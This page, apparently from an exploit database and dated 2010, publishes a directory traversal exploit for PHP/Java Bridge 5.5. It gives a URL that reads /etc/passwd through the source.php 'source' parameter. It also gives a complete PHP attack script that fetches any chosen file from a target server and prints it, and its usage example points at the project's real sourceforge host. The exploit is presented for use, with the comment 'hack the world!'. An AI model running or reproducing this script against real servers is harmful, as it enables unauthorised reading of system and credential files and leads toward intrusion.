Home / os / win7

[webapps / 0day] - Java Bridge v. 5.5 Directory Traversal Vu

Posted on 06 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Java Bridge v. 5.5 Directory Traversal Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Saxtor' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>====================================================
Java Bridge v. 5.5 Directory Traversal Vulnerability
====================================================

/*Title: PHP/Java Bridge 5.5
Date : Sep 6, 2010
Author: Saxtor {Location: South America (Guyana)}
Email: admin@saxtorinc.com
Category::  Web Applications 
Verison: 5.5
 
 
suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files =&gt;
------------------------------
http://localhost/Javabridge/source.php?source=/etc/passwd
------------------------------
 */
&lt;?php
 
 /**
 * @param Author   Saxtor Location{South America Guyana}
 * @param Email:   admin@saxtorinc.com
 * @param  Guys please dont beleive in 2012 if you are you are playing a part of getting this world to end :( its all our perception and thinking will cause invent to happen however you will be dead and alive at the same time hehe but for now hack the world! read data
 */
 
 
class Javabridgexploit
{
    /**
     * @param Start
     */
                public function __construct($argv)
                {
                                $this-&gt;Exploit($argv);
                }
 
                public function arguments($argv)
                {
                                $_ARG = array();
                                foreach ($argv as $arg)
                                {
                                                if (ereg(&#039;--[a-zA-Z0-9]*=.*&#039;, $arg))
                                                {
                                                                $str = split(&quot;=&quot;, $arg);
                                                                $arg = &#039;&#039;;
                                                                $key = ereg_replace(&quot;--&quot;, &#039;&#039;, $str[0]);
                                                                for ($i = 1; $i &lt; count($str); $i++)
                                                                {
                                                                                $arg .= $str[$i];
                                                                }
                                                                $_ARG[$key] = $arg;
                                                } elseif (ereg(&#039;-[a-zA-Z0-9]&#039;, $arg))
                                                {
                                                                $arg = ereg_replace(&quot;-&quot;, &#039;&#039;, $arg);
                                                                $_ARG[$arg] = &#039;true&#039;;
                                                }
 
                                }
                                return $_ARG;
                }
 
                public function ConnectToVictim($url, $path,
                                $dir)
                {
                                $link = &quot;$url/$path/source.php?source=$dir&quot;;
 
                                $y = preg_match_all(&quot;/http:///&quot;, $link,
                                                $array);
                                if ($y == 1)
                                {
                                                $ch = curl_init();
                                                curl_setopt($ch, CURLOPT_URL, $link);
                                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                                curl_setopt($ch, CURLOPT_USERAGENT,
                                                                &quot;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)&quot;);
                                                curl_setopt($ch, CURLOPT_REFERER,
                                                                &quot;http://www.x.org&quot;);
                                                $output = curl_exec($ch);
 
 
                                                $x = preg_match_all(&quot;%:root:%&quot;, $output, $array);
                                                $guyanarocks = $array[0][0];
                                                if ($guyanarocks == null)
                                                {
                                                                echo &quot;No Data Found :(&quot;;
                                                }
                                                else
                                                {
                                                                echo $output;
                                                }
 
 
                                }
                                else {
                                    die(&quot;Invalid Url Must Include http:// example http://php-java-bridge.sourceforge.net&quot;);
                                }
 
                }
 
                public function Exploit($argv)
                {
                                $info = $this-&gt;arguments($argv);
 
                                $url  = $info[&#039;url&#039;];
                                $path = $info[&#039;path&#039;];
                                $dir  = $info[&#039;dir&#039;];
 
                                if ($url == null &amp;&amp; $path == null)
                                {
                                                echo &quot;example exploit.php --url=http://php-java-bridge.sourceforge.net --path=examples --dir=/etc/passwd&quot;;
                                }
 
                                $this-&gt;ConnectToVictim($url, $path, $dir);
 
 
 
                }
 
}
 
$guyanarules = new Javabridgexploit($argv);
 
 
?&gt;
# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-06]</pre></body></html>

 

TOP

Malware :

Exploits :